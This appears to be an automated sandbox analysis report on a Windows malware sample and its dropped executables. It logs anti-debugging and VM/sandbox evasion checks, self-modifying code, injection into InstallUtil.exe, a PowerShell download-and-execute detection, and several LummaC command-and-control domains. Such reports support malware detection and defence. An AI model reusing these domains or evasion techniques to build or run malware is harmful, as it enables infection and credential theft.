Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E8F007 second address: E8F00D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E8F00D second address: E8F011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E91055 second address: E9105F instructions: 0x00000000 rdtsc 0x00000002 je 00007F1690C1AF9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AEEDD3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D256E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Special instruction interceptor: First address: CDD88A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Special instruction interceptor: First address: CDD97F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Special instruction interceptor: First address: E883AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Special instruction interceptor: First address: EB29BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Special instruction interceptor: First address: E8FAB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Special instruction interceptor: First address: F1FAD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Special instruction interceptor: First address: 107E007 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Special instruction interceptor: First address: 107C830 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Special instruction interceptor: First address: 109FDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Special instruction interceptor: First address: ECECC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Special instruction interceptor: First address: 1103A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 60E007 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 60C830 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 62FDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45ECC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 693A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Special instruction interceptor: First address: F2EDD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Special instruction interceptor: First address: 11656E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Special instruction interceptor: First address: ADA866 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Special instruction interceptor: First address: AEA713 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Special instruction interceptor: First address: B6DBFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Special instruction interceptor: First address: AD8FD9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Special instruction interceptor: First address: 18D88A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Special instruction interceptor: First address: 18D97F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Special instruction interceptor: First address: 3383AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Special instruction interceptor: First address: 3629BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Special instruction interceptor: First address: 33FAB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Special instruction interceptor: First address: 3CFAD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Special instruction interceptor: First address: E3E007 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Special instruction interceptor: First address: E3C830 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Special instruction interceptor: First address: E5FDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Special instruction interceptor: First address: C8ECC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Special instruction interceptor: First address: EC3A48 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Memory allocated: 52D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Memory allocated: 5540000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Memory allocated: 5440000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Memory allocated: B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Memory allocated: 2760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Memory allocated: 2690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: A90000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2440000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4440000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Memory allocated: 4EB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Memory allocated: 5080000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Memory allocated: 7080000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe

Code function: 4_2_00E5E153 rdtsc

4_2_00E5E153

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe TID: 7344	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7328	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7464	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe TID: 7972	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 796	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 796	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5676	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5676	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7500	Thread sleep count: 253 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7500	Thread sleep time: -7590000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3332	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3332	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3340	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe TID: 7024	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe TID: 6776	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp, e90585a72a.exe, 00000011.00000002.2706278766.0000000000AB9000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware\V
Source: innoinstaller.exe, 00000009.00000002.2488892717.0000000003927000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2930912647.00000000001B2000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: qemu'
Source: e90585a72a.exe, 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareOX<
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareLR^q
Source: skotes.exe, 00000008.00000002.2939032434.0000000001429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YxKGBd8P1w 456u vsEEUNZ6@\^q0Microsoft\|VMWare\|V<
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWareLR^q,
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2707046066.0000000001256000.00000004.00000020.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2707046066.0000000001286000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen@\^q
Source: e90585a72a.exe, 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OKM5Y FLVP2MS5XK@\^q0VMware\|VIRTUAL\|A M<
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: explorerJSbieDll.dllKcuckoomon.dllLwin32_process.handle='{0}'MParentProcessIdNcmdOselect * from Win32_BIOS8Unexpected WMI query failurePversionQSerialNumberSVMware\|VIRTUAL\|A M I\|XenTselect * from Win32_ComputerSystemUmanufacturerVmodelWMicrosoft\|VMWare\|VirtualXjohnYannaZxxxxxxxx
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000002.2197699048.0000000000E66000.00000040.00000001.01000000.00000006.sdmp, VG65QSLZVUGSLKDE78EZSIIG.exe, 00000005.00000002.2122564925.000000000105A000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000006.00000002.2150170381.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000007.00000002.2154876984.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp, e90585a72a.exe, 00000011.00000002.2706278766.0000000000AB9000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:Microsoft\|VMWare\|Virtual
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001286000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_05510A6A Start: 05510BDD End: 05510B00

8_2_05510A6A

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe

Code function: 4_2_00E5E153 rdtsc

4_2_00E5E153

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0042652B mov eax, dword ptr fs:[00000030h]		8_2_0042652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0042A302 mov eax, dword ptr fs:[00000030h]		8_2_0042A302

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: e90585a72a.exe PID: 3620, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1B0000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1698356119.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1B0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1B2000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1D8000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1DA000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 2F6008	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe "C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe"	Jump to behavior
